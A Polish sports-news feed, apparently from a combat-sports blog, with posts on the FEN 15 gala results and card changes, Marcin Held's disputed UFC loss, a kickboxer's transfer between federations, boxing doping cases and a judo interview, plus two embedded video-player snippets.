Amerykańscy eksperci jako zwycięzcę walki widzieli Helda. 24-latek został skrzywdzony przez sędziów. Joe Lauzon zwyciężył, jednak chyba sam nie był przekonany, co do słuszności wyniku. Najlepiej obrazuje to wpis Marcina Helda. – Po walce podszedł do mnie mój przeciwnik Joe Lauzon przepraszając za wynik. Jestem wściekły bo ciężko się przygotowywałem, a sędziowie mnie najzwyczajniej w świecie oszukali. Bardziej przekręconego wyniku nie widziałem – dzielił się swoimi odczuciami Polak.

Marcin Held zanotował drugą porażkę w UFC – takie są fakty. Choć obraz walki wskazywał na to, że werdykt będzie szczęśliwy dla Polaka. Sędziowie wypaczyli wynik walki. Ciekawe, czy na trybunach był obserwator piłkarski? O, przepraszam. Oczywiście obserwator MMA. Wszyscy widzieli, jednak było inaczej…

KM

FEN 15 Final Strike – Wyniki

 

 

 

 

 

 

 

 

 

 

FEN 15 – karta walk:

o pas mistrzowski K-1:
-77 kg: Paweł Biszczak pokonał niejednogłośnie na punkty Wojciecha Wierzbickiego

-93 kg; MMA: Riccardo Nosiglia (5-0, 5 KO) pokonał przez techniczny nokaut w pierwszej rundzie Marcina Zontka (16-10, 2 NC, 8 KO, 5 SUB)

o pas mistrzowski K-1:
-65 kg: Róża Gumienna pokonała jednogłośnie na punkty Martinę Fendrichovą.

-84 kg; MMA: Marcin Naruszczka (18-5-1, 7 KO, 2 SUB) pokonał jednogłośnie na punkty Filipa Tomczaka (4-1, 4 SUB)
-77 kg; MMA: Kamil Gniadek (11-4-1, 1 NC, 2 KO, 8 SUB) pokonał przez poddanie (skrętówka) Vincenta Del Guerrą (24-18, 8 KO, 14 SUB)
-77 kg; MMA: Albert Odzimkowski (10-3, 2 KO, 7 SUB) pokonał jednogłośnie na punkty Oskara Somerfelda (5-2, 5 SUB)
-70 kg; MMA: Mateusz Rębecki (4-1, 3 SUB) pokonał jednogłośnie na punkty Adama Golonkiewicza (11-10, 3 KO, 1 SUB)
-70 kg; MMA: Mateusz Głąb (4-0, 1 KO, 2 SUB) pokonał przez poddanie (balacha) Leonida Smirnova (1-2, 1 KO)

Karta wstępna:
-69 kg; K-1: Wojciech Kazieczko pokonał niejednogłośnie na punkty Mateusza Dąbrowskiego.

Transfer Radka Paczuskiego z DSF do FEN!

Jeden z najbardziej utalentowanych i obiecujących polskich kickboxerów Radosław Paczuski będzie występował na galach organizacji Fight Exclusive Night. Do niedawna zawodnik związany był z DSF Kicboxing Challenge.

Można powiedzieć, że mamy do czynienia z prawdziwym hitem transferowym. Paczuski wyrasta na gwiazdę K-1 nie tylko na poziomie krajowym, ale i europejskim. Jego walki przyciągają uwagę swoją efektywnością i klasą. Teraz rozpoczyna kolejny etap kariery.

Złowili perełkę

Konkurencja na rynku kickboxerskim jest coraz większa, a więc każda z organizacji chce mieć w swoich szeregach czołowych zawodników. Bez wątpienia takim jest Radosław Paczuski, który do niedawna występował na galach DSF Kickboxing Challenge. W kwietniu ubiegłego roku zawodnik Unig Fight Club sięgnął po pas mistrzowski organizacji w wadze 81kg pokonując niejednogłośnie na punkty Pawła Gierzyńskiego. Był jedną z najbardziej rozpoznawalnych twarzy DSF. Miał rywalizować w grudniu, jednak wybrał start na gali K-1 Global. Ostatecznie nie zaprezentował się w Bośni i Hercegowinie.

Podczas gali FEN 15 w Lubinie władze federacji poinformowały o związaniu się z Radkiem Paczuskim. Głos w sprawie postanowiła zabrać organizacja DSF. – Zawodnik dostał od DSF lukratywną ofertę na walkę wieczoru w obronie pasa w kategorii wagowej -81 kg. na gali, która odbędzie się 31 marca w hali Koło w Warszawie. W piątek 13 stycznia w okolicach godziny 22, poinformował Roberta Złotkowskiego, odpowiadającego za kartę walk, że oferty nie przyjmie i przechodzi do innej federacji. Zawodnik nie zdobył się na poinformowanie o wszystkim prezesa, Sławomira Duby.

Przypomnijmy, że Paczuski miał walczyć 16 grudnia na gali Najlepsi Z Najlepszych w restauracji Champions w Warszawie. Federacja, nie chcąc blokować zawodnika, wyraziła zgodę na walki w turnieju K-1 World Grand Prix Euro w Bośni i Hercegowinie, który miał się odbyć 3 grudnia. Rozumiejąc argumenty przedstawiane przez braci Paczuskich, że to dla Radka życiowa szansa. W ostatnim momencie Paczuski wycofał się z udziału w obu galach. Nie chciał także brać udziału w żadnych imprezach promujących galę DSFczytamy w oświadczeniu

Powodem zaistniałej sytuacji miały być kłopoty zdrowotne zawodnika. Wobec podpisania przez Paczuskiego umowy z FEN, stracił on pas mistrzowski DSF. – Na spotkaniu w siedzibie federacji zawodnik poinformował o problemach zdrowotnych – kardiologicznych. Dzięki ścisłej współpracy DSF z partnerem Centrum Medycyny Sportowej przy ul. Wawelskiej 5 w Warszawie, Paczuski natychmiast przeszedł kompleksowe badania pod opieką najlepszych specjalistów CMS. Szczegółowe badania nic nie wykazały. Zawodnik był zainteresowany dalszą współpracą z federacją DSF Kickboxing Challenge, o czym otwarcie mówił w rozmowach z zarządem. Jednocześnie ze skutkiem natychmiastowym Radosław Paczuski przestaje być mistrzem DSF Kickboxing Challenge w kategorii wagowej -81 kg – informuje DSF.

Debiut za dwa miesiące

Po tym jak FEN straciło Tyberiusza Kowalczyka i Romana Szymańskiego, którzy byli rozpoznawalnymi twarzami organizacji, przyszedł czas na hit transferowy. Debiut Paczuskiego przewidziany jest na marcową galę. 11 marca organizacja odwiedzi Warszawę z wydarzeniem FEN 16 Warsaw Reloaded.

Na arenie pojawi się mocny zawodnik, który ma stać się magnesem dla publiczności. W ubiegłym roku Paczuski zapisał na swoim koncie mistrzostwo świata K-1 Global, które zdobył w Atenach. Z kolei w Mariborze sięgnął po srebro mistrzostwo Europy low kick.

KM

Szpilka poza kartą walk, wraca Masternak

W lutym, po ponad rocznej przerwie, na ringu miał zameldować się Artur Szpilka. Polak nie wystąpi jednak na gali w Alabamie. Na ring wraca Mateusz Masternak, który zaprezentuje się 4 marca w Dzierżoniowie.

Wydawało się, że wszystko jest na dobrej drodze i popularny „Szpila” zmierzy się z Dominikiem Breazealem. Polak wypadł z karty walk i może jedynie bezradnie rozkładać ręce.

Było blisko

W grudniu pojawiły się pierwsze przymiarki do pojedynku Szpilki z Breazealem. Wraz z upływem kolejnych dni wydawało się, że wszystko zmierza w dobrą stronę i 25 lutego w Birmingham obaj wejdą do ringu. Sprawa się nieco skomplikowała. Prawdopodobnie tylko Breazeale wystąpi podczas gali, ale nie wiadomo, kto będzie jego rywalem.

Jak grom z jasnego nieba gruchnęła informacja o tym, że Szpilka nie wystąpi w Birmingham. Bokser nie krył rozczarowania. – Chciałbym przeprosić kibiców, bo wielu z nich kupiło bilety na galę z myślą o moim pojedynku. Czekam na jakieś konkrety na temat następnej walki. Jestem trochę wkur…, bo siedzę tutaj już pół roku, mocno pracuję, a nic z tego nie ma… – nie krył rozczarowania Polak na facebooku.

Pojawiły się doniesienia jakoby Breazeale miał się zmierzyć z… Izuagbe Ugonohem. Polski pięściarz wygrał wszystkie 17 dotychczasowych walk, w tym 14 przed czasem. Ponoć powodem, dla którego nie dojdzie do starcia Amerykanina ze Szpilką jest fakt, że obaj przegrali swoje ostatnie pojedynki.

Po raz ostatni „Szpila” walczył w styczniu 2016 roku, kiedy to w Barclays Center w Nowym Jorku przegrał w dziewiątej rundzie z Deontayem Wilderem. Polak opuszczał ring na noszach. Kibice z niecierpliwością czekają na kolejne starcie polskiego ciężkiego, jednak nie wiadomo, kiedy ono nastąpi.

Warto przypomnieć, że 25 lutego w Alabamie o pas WBC powalczy Andrzej Wawrzyk. Polak stawi czoła prawdziwemu bombardierowi, jakim jest Deontay Wilder. Dla Wawrzyka będzie to drugie podejście do mistrzowskiego tytułu.

Masternak rusza do boju

Mateusz Masternak swoją ostatnią walkę stoczył 2 kwietnia ubiegłego roku. W Krakowie pokonał Erica Fieldsa i od tamtego czasu nie walczył. Wraz z końcem roku wygasła jego umowa z grupą Sauerland Event. 29-letni bokser nie czekał długo na propozycję walki. 4 marca ma pojawić się na gali w Dzierżoniowie organizowanej przez Mariusza Grabowskiego. Szczegóły nie są jeszcze znane.

Popularny „Master” ma za sobą nieudaną walkę z Tony Bellewem o mistrzostwo Europy. Wcześniej przegrał pojedynek o pas WBA interim. Masternak stara się wrócić na właściwe tory i ponownie boksować o najwyższe cele. Czy pierwszy krok ku temu zrobi 4 marca?

KM

LIVE: FEN 15 Final Strike – Ceremonia ważenia

Zapraszamy na transmisję telewizyjną na żywo z oficjalnej ceremonii ważenia przed galą FEN 15 Final Strike.

[kod]

FEN 15 Final Strike Ceremonia ważenia

FEN 15 Final Strike Ceremonia ważenia

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/FEN15.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/FEN15.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/FEN15.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/FEN15.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Czas na trzecie uderzenie

Organizacja Fight Exclusive Night po raz trzeci zawita do Lubina. 14 stycznia głównym daniem wieczorem będzie pojedynek o pas mistrzowski w wadze średniej (77kg) pomiędzy Pawłem Biszczakiem i Wojciechem Wierzbickim. Co jeszcze czeka nas podczas gali FEN 15?

Temperatura rośnie z każdym dniem. Czas płynie nieubłaganie, a w ostatnim tygodniu doszło do kilku zmian w fight cardzie. W Lubinie dojdzie do dwóch pojedynków mistrzowskich. Tym razem kibice zobaczą sześć starć na zasadach MMA i trzy w K-1.

Wreszcie walka o pas

Z pewnością tak pomyślał Paweł Biszczak, któremu raz mistrzowska walka przeszła już koło nosa. 31-letni kickboxer podczas majowej gali FEN 12 miał zmierzyć się z Zakarią Baitarem. Problemy zdrowotne uniemożliwiły występ Biszczaka. Ponownie zaprezentował się w październiku w Katowicach, gdzie pokonał jednogłośną decyzją Tomasza Gromadzkiego. W Lublinie zmierzy się o pas z Wojciechem Wierzbickim, który zastąpił go w starciu z Baitarem. Polak wygrał i zdobył tymczasowy tytuł mistrzowski. Teraz zawodnik, który w 2015 roku wywalczył mistrzostwo Europy WAKO-Pro low kick stanie przed kolejnym wyzwaniem. Głodny Biszczak będzie chciał zdobyć pas i ma tę przewagę, że raz już pokonał Wierzbickiego. Jednak mowa o zamierzchłych czasach. Walka miała miejsce w 2012 roku.

O pas w K-1 65kg powalczą Róża Gumienna i Martina Fendrichova. Polka stała się najbardziej rozpoznawalną kobiecą twarzą organizacji FEN. 27-latka znakomicie radzi sobie w walkach zawodowych. Wygrała wszystkie siedem pojedynków, a trzy podczas występów dla organizacji FEN. 15 stycznia Gumienna stanie przed trudnym zadaniem. Martina Fendrichova to niezwykle mocna zawodniczka, która zdobywała medale mistrzostw świata.

Galę w Lubinie otworzy starcie w K-1 pomiędzy Wojciechem Kozieczko a Mateuszem Dąbrowskim. Dla obu zawodników będzie to debiut w organizacji FEN.

Trochę się pozmieniało

W ostatnich dniach w karcie walk doszło do kilku zmian. Początkowo Marcin Zontek miał rywalizować z Boubacarem Balde. 37-latek występujący w wadze półciężkiej MMA zmierzy się jednak z Riccardo Nosiglią. W porównaniu z Polakiem, doświadczenie Włocha wygląda ubogo, ale nigdy nie przegrał i jest o dziesięć lat młodszy od Zontka.

Nowego rywala poznał Kamil Gniadek. 24-latek miał rywalizować z Michałem Michalskim, jednak ten zgłosił kontuzję. Ostatecznie Gniadek zmierzy się z Vincentem del Guerrą. Francuz ma na koncie ponad 40 zawodowych walk, z których 24 zakończył zwycięsko. W listopadzie ubiegłego roku 26-latek przegrał z Krzysztofem Kułakiem, ale w 2015 roku pokonał innego Polaka – Kacpra Karskiego. Dla utalentowanego Gniadka będzie to trudna przeprawa, ale 22-latek będzie robił wszystko, aby wygrać drugą walkę na FEN.

W wadze średniej Marcin Naruszczka miał rywalizować z Mattem Horwichem, ale Amerykanina zastąpił Filip Tomczak. Przed lubińską publicznością nie zaprezentuje się Michał Miłek. W starciu wagi lekkiej zmierzą się Mateusz Głąb i Leonid Smirnov.

Ciekawie będzie w kategorii półśredniej. Szykują się pojedynki Alberta Odzimkowskiego z Oskarem Somerfeldem oraz Mateusza Rębeckiego z Adama Golonkiewicza. 

KM

LIVE: FEN 15 Final Strike – Trening medialny

Zapraszamy na transmisję telewizyjną na żywo z treningu medialnego przed galą FEN 15 Final Strike.

[kod]

FEN 15 Final Strike Trening Medialny

FEN 15 Final Strike Trening Medialny

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/FEN15.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/FEN15.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/FEN15.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/FEN15.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Kolejna próba Helda

15 stycznia w Talking Stick Arena w Phoenix Marcin Held stoczy swój drugi pojedynek w UFC. Polak zmierzy się ze starym wyjadaczem Joe Lauzonem.

Po udanej przygodzie z Bellatorem polski lekki dostał szansę występów w najlepszej organizacji MMA na świecie, czyli UFC. W debiucie 24-latek musiał przełknąć gorycz porażki. Nadszedł czas, żeby się zrehabilitować, ale czeka go niezwykle trudne zadanie.

Sprawić niespodziankę

Held jest wielką nadzieją polskiego MMA. 24-latek ma ogromny potencjał, co udowodnił podczas swoich występów na galach organizacji Bellator. W 2014 roku zwyciężył w turnieju wagi lekkiej, rok później rywalizował z Willem Brooksem o tytuł mistrzowski. 30-letni Amerykanin wygrał jednogłośnie na punkty, a Polak stoczył jeszcze jedną walkę w Bellatorze i podpisał umowę z UFC. Nie dziwne, że najlepsza organizacja MMA zwróciła uwagę na Polaka, który wygrał sześć walk z rzędu, z czego aż pięć przed czasem. Łącznie ma na koncie 22 triumfy i 5 porażek.

Debiut w UFC nie ułożył się po myśli Marcina Helda. Polski lekki zmierzył się z Diego Sanchezem, który najlepsze lata ma za sobą, jednak w tym przypadku wykorzystał w pełni swoje doświadczenie. Teraz przed Polakiem kolejne wyzwanie. Na UFC Fight Night 103 (15 stycznia) zmierzy się z Joe Lauzonem. 32-letni Amerykanin to niezwykle doświadczony i skuteczny fighter.

Specjalizujący się w brazylijskim jiu-jitsu zawodnik walczy niezwykle efektownie. Aż 15 razy otrzymywał bonusy finansowe od UFC. Z 26 zwycięskich walk aż 18 kończył przez poddanie. Lauzon ma na koncie również 12 porażek. Co ciekawe, w ubiegłym roku Amerykanin uporał się z ostatnim rywalem Helda, czyli Diego Sanchezem. W sierpniu przegrał jednak z Jimem Miller i czeka na kolejną walkę.

Held w pełni gotowy

Polak jest już na miejscu i myśli o starciu. Doskonale zdaje sobie sprawę z klasy rywala, który choć nie wszedł nigdy na szczyt, to jest niezwykle groźny. – Dotarłem już do Phoenix, teraz czeka mnie kilka formalności przed walką – badania, wywiady. Już w niedzielę wyjdę do oktagonu UFC! –  napisał Marcin Held na swoim profilu na facebooku. – Wiem, że walczę z bardzo dobrym przeciwnikiem i nie jestem w tej walce faworytem. Mogę Wam jednak obiecać, że będę robił wszystko by to moje ręce znalazły się w górze. Czuje się dobrze i moje nastawienie jest pozytywne – dodaje.

Ostatnie trzy pojedynki Held walczył na pełnym dystansie. Od pierwszych sekund starcia z Lauzonem Polak musi być czujny, bo Amerykanin jest niebezpieczny. Nie raz kończył swoje walki w pierwszych rundach. – Jestem bardzo zadowolony, że UFC stawia na mojej drodze tak wymagających rywali. Ciesze się, że mogę dostarczać moim fanom tak dużo emocji walcząc z najlepszymi. Jest mi bardzo miło, że tyle osób wyczekuje moich walk i mi kibicuje! Jestem przekonany, że z Joe Lauzonem damy dobrą walkę – przedstawia Held.

KM

FEN 15: zapowiedź walki o pas Biszczak vs Wierzbicki

Paweł Biszczak i Wojciech Wierzbicki to wielcy mistrzowie K-1 – obaj walczą niezwykle efektownie i zabójczo skutecznie, obu w klatkoringu Fight Exclusive Night nikt jeszcze nie zdołał pokonać. Który z nich w sobotę w Lubinie przedłuży zwycięską passę i sięgnie po pas mistrzowski FEN? Zobaczcie zapowiedź walki wieczoru gali FEN 15 Final Strike!

FEN

[kod]

Trzy zmiany w fight cardzie FEN 15 Final Strike

Marcin Naruszczka, Vincent del Guerra i Riccardo Nosiglia to trzej zawodnicy MMA dopisani do karty walk gali FEN 15 Final Strike. Wystąpią oni w zastępstwie za Matta Horwicha, Michała Michalskiego i Boubacara Balde, którzy z powodu kontuzji musieli zrezygnować z walki podczas sobotnich zawodów w lubińskiej hali RCS.

Marcin Naruszczka (33 lata, 183 cm, rekord 17-5-1), którego pierwsza tegoroczna walka w klatkoringu Fight Exclusive Night planowana był podczas marcowej gali FEN 16 Warsaw Reloaded, zastąpi na gali FEN 15 Final Strike Amerykanina Matta Horwicha w starciu MMA wagi średniej z Filipem Tomczakiem. Zawodnik Nastula & Okniński Team jest w znakomitej formie – od października 2015 roku wygrał 5 walk z rzędu, pokonując n.in. Rafała Haratyka i w ostatniej swojej walce jesienią ubiegłego roku broniąc pasa mistrza PLMMA w starciu właśnie z Mattem Horwichem. Chociaż Naruszczka na przygotowania do sobotniej gali ma niewiele czasu, a jego rywal legitymuje się obecnie rekordem czterech walk bez porażki, to jednak doświadczony fighter z Warszawy będzie faworytem pojedynku z młodym reprezentantem MMA Devil Fight Club Poznań.

Francuz Vincent „The Warrior” del Guerra (26 lat, 175 cm, rekord 24-17) szansę występu na gali FEN 15 Final Strike otrzymał „dzięki” zgłoszeniu kontuzji przez Michała Michalskiego, który w sobotę w Lubinie miał skrzyżować rękawice z Kamilem „Undertakerem” Gniadkiem. 26-letni zawodnik z Marsylii mimo młodego wieku ma już na koncie ponad 40 zawodowych walki MMA, z których 24 rozstrzygnął na swoją korzyść – i to dosłownie, ponieważ aż 22 walki wygrał przed czasem (8 nokautów i  14 poddań). W ostatnim roku „The Warrior” mierzył się z takimi mocnymi rywalami, jak Colin Fletcher, John Maguire i Krzysztof Kułak, a w swoim ostatnim występie, w walce wieczoru gali Kombat League Coloseum 4 we Włoszech, pokonał Giuseppe Mancuso. Kamil Gniadek będzie kolejnym młodym, ale bardzo groźnym przeciwnikiem w karierze del Guerry – szczeciński Berserker z 15 już stoczonych walk wygrał 10 i na gali FEN 15 na pewno twardo powalczy o drugie z rzędu zwycięstwo w organizacji FEN.

Włoch Riccardo „Walking Dead” Nosiglia (27 lat, 186 cm, 4-0), którego czeka starcie z niedawnym pretendentem do tytułu mistrza FEN wagi półciężkiej w formule MMA Marcinem Zontkiem, zastąpi na FEN 15 Final Strike innego awizowanego wcześniej obcokrajowca, Francuza Boubacara Balde. Dla zawodnika Shoot Team Padwa będzie to pierwszy występ poza granicami ojczystego kraju – dotychczas walczył dla organizacji Kombat League i Power Nation Fighting Championship, zdobywając w 2014 i 2015 roku tytuł mistrza PNFC w kategorii półciężkiej. Uchodzi za specjalistę od ground and pound – wszystkie swoje zawodowe walki Nosiglia kończył w pierwszych rundach nokautującymi ciosami w parterze.

W innych walkach MMA gali FEN 15 Final Strike zmierzą się m.in. Albert Odzimkowski z Oskarem Somerfeldem oraz Mateusz Rębecki z Adamem Golonkiewiczem. Wydarzeniami gali będą natomiast dwie walki o pas mistrzowski FEN w formule K-1, w których Paweł Biszczak będzie walczył z Wojciechem Wierzbickim, a Róża Gumienna z Czeszką Martiną Fendrichovą.

Bilety na sobotnią galę FEN 15 w Lubinie można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 15 na bieżąco na fanpage’u FEN na Facebooku.

FEN

Doping niejedno ma imię

Michał Cieślak i Nikodem Jeżewski nie schodzą z ust kibiców i ekspertów boksu. Wszystko za sprawą stwierdzenia w ich organizmach obecności niedozwolonych środków. 

Skandale dopingowe stały się niemalże codziennością. Wszyscy starają się uniknąć wpadki, jednak w przypadku kontroli często stają się bezradni. Kładą na szali swoje umiejętności, dokonania, a niekiedy nieskazitelny obraz, bo często przedstawiani są jako wzór do naśladowania.

Nokaut, którego nie było

10 grudnia we Wrocławiu Cieślak i Jeżewski spotkali się w walce, której stawką był pas IBF Baltic i tytuł zawodowego mistrza Polski wagi junior ciężkiej. Pełen emocji pojedynek przyniósł wiele kontrowersji. Początek trzeciej rundy dla Cieślaka, który mocno przycisnął rywala, jednak ten w końcu odpowiedział. Potężny prawy Jeżewski i pięściarz z Radomia znalazł się na deskach. Cieślak wstał i walczył dalej. 27-latek trafił prawym, co zrobiło wrażenie na Jeżewskim, który przyklęknął. Cieślak dołożył jeszcze jeden cios, a sędzia przerwał pojedynek. Obóz Jeżewskiego twierdził, że nie było powodu do zakończenia walki. Z kolei sam bokser liczył na rewanż.

Nikt chyba nie spodziewał się, że kilka tygodni później, walka zostanie przedstawiona w zupełnie innym świetle. Cieślak miał stosować oxandrolon i mesterolon, a Jeżewski oxandrolon i meldonium. Prawdopodobnie obaj zostaną zawieszeni, a walka anulowana.

Dopingowiczów nie brakuje

Doping ma być receptą na sukces, jednak w wielu przypadkach okazuje się strzałem w kolano. Zdarzają się dopingowe wpadki, które należy kwalifikować jako błędy młodości, ale nie brakuje pięściarzy świadomie podejmujących decyzję o stosowanu niedozwolonych substancji. W świecie boksu raz po raz słyszymy o kolejnych dopingowiczach.

Pod nadmiarem kurzu, gdzieś w zapomnieniu znajduje się wspomnienie o wpadce Witalija Kliczki. Ukrainiec został przyłapany na stosowaniu dopingu w 1996 roku, przez co nie pojechał na Igrzyska Olimpijskie w Atlancie. Ze wspomagania korzystał również Erik Morales. W 2012 roku przegrał z Danny'm Garcią, a w jego organizmie wykryto clenbuterol. Morales został zawieszony na dwa lata. W 2012 roku Lamont Peterson szykował się do walki z Amirem Khanem w obronie pasów WBA i IBF, ale do starcia nie doszło. Amerykanina przyłapano na dopingu i stracił licencję w stanie Nevada.

Z powodu problemów dopingowych tytuły mistrzowskie w wadze ciężkiej oddał Tyson Fury. Brytyjczyk nie udźwignął ciężaru sukcesu i pogrążył się stosowaniem używek. Dopingowy problem towarzyszy również Aleksandrowi Powietkinowi. W kwietniu ubiegłego roku Rosjanina przebadano na obecność niedozwolonych środków. Pozytywny wynik przekreślił szanse Powietkina na walkę o pas WBC z Deontayem Wilderem. Kilka miesięcy później nastąpiła powtórka. W organizmie boksera wykryto ostarynę, co sprawiło, że nie doszło do pojedynku Powietkina z Bermane Stivernem.

Nie brakuje również polskich bokserów, którzy stosowali doping. W 2010 roku w Schwerinie w organizmie Macieja Zegana wykryto clenbuterol, pi oksandrilon oraz stymulany z grupy S6. Polaka zdyskwalifikowano na dwa lata. Mariusz Wach dostąpił zaszczytu rywalizacji o panowanie w wadze ciężkiej. Wytrwał cały dystans w ringu z Władimirem Kliczko, jednak okazało się, że brał winstrol. W efekcie Wach musiał udać się na ośmiomiesięczny odpoczynek. Dopingową wpadkę zaliczył również Michał Syrowatka, który tłumaczył, że metyloheksanamina zawarta jest w niektórych odżywkach. Nie wybronił się przed sześciomiesięczną dyskwalifikacją. 

fot. pixabay

KM

Pogorzelec: Jesteśmy wzorową drużyną

Najważniejszym zeszłorocznym startem dla Darii Pogorzelec (78kg) były Igrzyska Olimpijskie w Rio de Janeiro. 26-latka jechała do Brazylii z nadziejami, jednak odpadła w 1/8 finału. Reprezentantka Polski w judo opowiada nam o zeszłorocznych doświadczeniach i najbliższych planach.

Pogorzelec jest mocnym punktem polskiej kadry. Zawodniczka urodzona w Gdańsku nie raz imponowała na arenie międzynarodowej i wygrywała prestiżowe zawody. W ostatnim czasie musi stosować się do rad lekarzy, aby doprowadzić do pełnej sprawności kontuzjowane kolano.

Myśli o trzecich igrzyskach

Daria Pogorzelec była o krok od medalu Igrzysk Olimpijskich, ale nie tych ostatnich w Rio de Janeiro, lecz w 2012 roku w Londynie. Polka mocnym akcentem rozpoczęła rywalizację. W pierwszym starciu w Londynie wyeliminowała Anamari Velensek, która jest czołową judoczką świata. Wystarczy przypomnieć, że w tym roku zdobyła brąz w Rio, a cztery lata temu miała na swoim koncie medale mistrzostw Europy. Co do startu Pogorzelec w Londynie, ta zmierzała w stronę olimpijskiego podium, jednak w ćwierćfinale powstrzymała ją Mayra Aguiar. Następnie lepsza okazała się Abigail Joo. Kilka miesięcy przed igrzyskami zerwała więzadła krzyżowe.

Historia lubi się powtarzać. Przed Rio Pogorzelec miała problemy z kolanem, ale tym razem nie zanotowała tak dobrego startu. Odpadła w 1/8 finału, jednak zdobyła kolejne cenne doświadczenie. Za 3,5 roku Igrzyska Olimpijskie w Tokio. Czyżby do trzech razy sztuka? – Igrzyska to impreza jedyna w swoim rodzaju i towarzyszą jej skrajne emocje. Po Londynie była to satysfakcja, po Rio rozczarowanie, a teraz z uśmiechem przygotowuję się do Tokio 2020 – podaje Daria Pogorzelec.

Do igrzysk sporo czasu, a po drodze nie brakuje prestiżowych imprez. 26-letnia judoczka liczy, że zdrowie jej dopisze i będzie mogła wystąpić w kluczowych zawodach. – Wszystko zależy od tego, co lekarze orzekną w sprawie mojego kolana. Jeżeli będę mogła, chciałabym się zaprezentować na mistrzostwach Europy, które odbędą w Polsce i zawojować kilka Pucharów Europy i Świata – wyjaśnia 26-letnia judoczka.

Drużyna marzeń

Bardzo dobrze prezentuje się kadra kobiet, która pod okiem Anety Szczepańskiej święci kolejne sukcesy. W ubiegłym roku biało-czerwone wywalczyły mistrzostwo Europy, zaś w sierpniu 2015 roku sięgnęły po wicemistrzostwo świata. W obu przypadkach ważnym punktem drużyny była Pogorzelec. – Jesteśmy wzorową drużyną, zgraną, zmotywowaną, wspierającą się. Podobno drużynówka ma być włączona do programu Igrzysk, byłaby to dla nas duża szansa, a tym czasem niedługo będzie okazja obronić tytuł drużynowych mistrzyń Europy – prezentuje medalistka mistrzostw świata i Europy w drużynie.

Sukcesy naszej reprezentacji mogą przełożyć się na wzrost popularności judo. – Judo w Polsce jest z roku na rok coraz popularniejsze. Nie liczyłabym na jakiś większy przełom, raczej na tendencję wzrostową. Jeżeli będziemy potwierdzać na zawodach wysoki poziom i toczyć piękne zwycięskie walki, grono pasjonatów będzie się sukcesywnie powiększać – prezentuje Pogorzelec.

Fot. PZJudo

KM

Senator wstępnie dogadany

Starcie Manny Pacquiao z mistrzem WBC i WBO wagi super lekkiej Terencem Crawfordem jest coraz mniej realne. Filipiński bokser porozumiał się wstępnie  z Jeffem Hornem. Warto również wspomnieć, że szykuje się wielki powrót. 21 stycznia Zab Judah pojawi się w ringu po raz 52.

O popularnym „Pacmanie” w ostatnich dniach jest niezwykle głośno. Nadal trwają poszukiwania kolejnego rywala 38-latka. Bob Arum, promotor Pacquiao wyjawił, że Filipińczyk gotowy jest zmierzyć się z Jeffem Hornem.

Starcie niższej wagi

Kilka dni temu informowaliśmy, że prowadzone są przymiarki do zorganizowania pojedynku Pacquiao z Terencem Crawfordem. Kwestia ta była jednak na wstępnym etapie i obracała się raczej w obszarze dywagacji. Głos w sprawie zabrali doradcy Pacquiao, którzy otwarcie mówili, że ich klient za ów pojedynek chciałby 20 milionów dolarów. W końcu przyszłoby mu się zmierzyć z mistrzem WBC i WBO. Starcie z 29-letnim Crawfordem byłoby ogromnym wyzwaniem dla doświadczonego Filipińczyka, a zarazem „Pacman” postawiłby na szali cały swój dorobek.

Sytuacja rozwija się błyskawicznie, ale starcie z Crawfordem wydaje się odległe. Pacquiao chce dalej rywalizować w ringu, ale zdaje się, że mierzy siły na zamiary. Wśród potencjalnych rywali boksera, który zdobywał mistrzowskie tytuły w ośmiu kategoriach wagowych wymieniano również nazwisko Ricky'ego Burnsa. 33-letni Brytyjczyk to mistrz świata WBA wagi super lekkiej. Burns ma na koncie 41 zwycięstw i 5 porażek, jednak nie jest najpoważniejszym kandydatem na rywala „Pacmana”.

Wydaje się, że obecnie najwyżej stoją akcje Jeffa Horna. Ponoć Pacquaio zaakceptował wstępne warunki walki z pięściarzem z Australii. Filipińczyk miał zgodzić się na obniżkę gaży, gdyż walczyłby blisko domu, co byłoby szansą na obecność jego kibiców. – Manny widział kilka walk Horna i uważa, że starcie z nim byłoby dla niego wyzwaniem – powiedział Bob Arum, promotor „Pacmana”.

Horn występuje w wadze półśredniej. 28-latek stoczył dotychczas 17 walk, z których 16 wygrał i jedną zremisował. 10 grudnia w Auckland rozprawił się z Alim Funaką w starciu i interkontynentalny pas WBO.

Powrót

Zdobywał tytuły w wadze lekkopółśredniej i półśredniej. Po raz ostatni Zab Judah cieszył się z wywalczenia mistrzowskiego pasa w marcu 2011, kiedy pokonał Kaizera Mabuzę. Tytuł IBF stracił w kolejnym starciu. Jego pogromcą okazał się Amir Khan. Amerykanin stoczył jeszcze trzy pojedynki, z których wygrał tylko jeden. Po raz ostatni pojawił się w ringu w grudniu 2013 roku, kiedy to przegrał na punkty z Paulem Malignaggim.

21 stycznia 39-letni pięściarz planuje stoczyć kolejną walkę. Rywalem Judaha będzie Jorge Luis Munguia, który w ostatnich pięciu starciach zanotował tylko jedno zwycięstwo.

KM

Dąbrowski zamiast Jankowskiego na gali FEN 16 Final Strike

Eliasz Jankowski z powodu kontuzji nie zadebiutuje 14 stycznia w klatkoringu Fight Exclusive Night. Zamiast niego na gali FEN 15 Final Strike w Lubinie z utalentowanym Wojciechem Kazieczko zmierzy się mistrz świata K-1 Global i zdobywca Pucharu Świata WAKO w K-1, niepokonany na zawodowych arenach Mateusz Dąbrowski.

